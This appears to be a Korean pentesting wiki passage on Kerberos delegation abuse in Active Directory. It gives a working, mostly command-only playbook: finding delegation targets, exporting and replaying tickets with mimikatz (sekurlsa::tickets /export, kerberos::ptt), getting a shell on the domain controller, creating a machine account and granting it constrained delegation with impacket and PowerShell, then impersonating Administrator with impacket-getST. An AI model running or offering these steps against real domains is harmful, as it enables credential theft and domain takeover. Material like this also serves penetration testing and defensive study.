메모리 덤프를 통해 다른 사용자의 TGT를 획득하고, NT Hash를 탈취할 수 있습니다.
모든 도메인 사용자를 가장할 수 있는 것은 아니며
사용자의 userAccountControl 속성에서 ACCOUNT_NOT_DELEGATED 설정이 있다면
BloodHound에서는 Cannot be delegated라고 나오며 가장이 불가능합니다.
SeEnableDelegationPrivilege 권한을 가진 사용자가 1개의 머신 계정에 대해서
GenericAll 권한을 가지고 있다면 해당 머신 계정의 userAccountControl 속성을 변경하여
머신 계정을 이용한 서비스 가장 이용을 통해 ST를 발급할 수 있습니다.
Abuse
# 도메인 내에 Unconstrained Delegation이 할당된 객체가 있는지 확인
PowerShell > Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 515} -Properties trustedfordelegation,serviceprincipalname,description
# 도메인 내에 Constrained Delegation이 할당된 객체가 있는지 확인
PowerShell > Get-ADComputer -Filter * -Properties "msDS-AllowedToDelegateTo" | Where-Object { $_."msDS-AllowedToDelegateTo" -ne $null } | Select-Object Name, "msDS-AllowedToDelegateTo"
# 메모리에 저장된 TGT 내보내기
mimikatz > sekurlsa::tickets /export
# 티켓 내보내기
mimikatz > kerberos::ptt C:\Windows\Temp\<Exported Ticket>
# 티켓을 사용하여 도메인 컨트롤러 쉘 획득
PowerShell > Enter-PSSession <Domain Controller>
# 새로운 머신 계정 생성
Kali > impacket-addcomputer -computer-name 'WIKI$' -computer-pass 'Password123!' -dc-host 10.0.2.10 -domain-netbios pentesting.wiki pentesting.wiki/wiki:password123!
# WIKI 계정의 Constrained Delegation 속성에 cifs SPN 추가
PowerShell > Set-ADComputer -Identity WIKI -Add @{'msDS-AllowedToDelegateTo'=@('cifs/DC01.PENTESTING.WIKI')}
# WIKI 계정에 Trusted For Delegation를 추가하여 위임 권한 등록
PowerShell > Set-ADAccountControl -Identity "WIKI$" -TrustedToAuthForDelegation $True
# 등록된 Delegation 목록 확인 :: Powershell
PowerShell > Get-ADComputer -Filter * -Properties msDS-AllowedToDelegateTo | Where-Object { $_.'msDS-AllowedToDelegateTo' -ne $null } | Select-Object Name, msDS-AllowedToDelegateTo
# 등록된 Delegation 목록 확인 :: Kali Linux
Kali > impacket-findDelegation pentesting.wiki/<USER:PASS> -dc-ip 10.0.2.10
# 도메인 사용자를 가장하여 티켓 발급
kali > impacket-getST -spn 'cifs/DC01.PENTESTING.WIKI -impersonate Administrator pentesting.wiki/WIKI:Password123!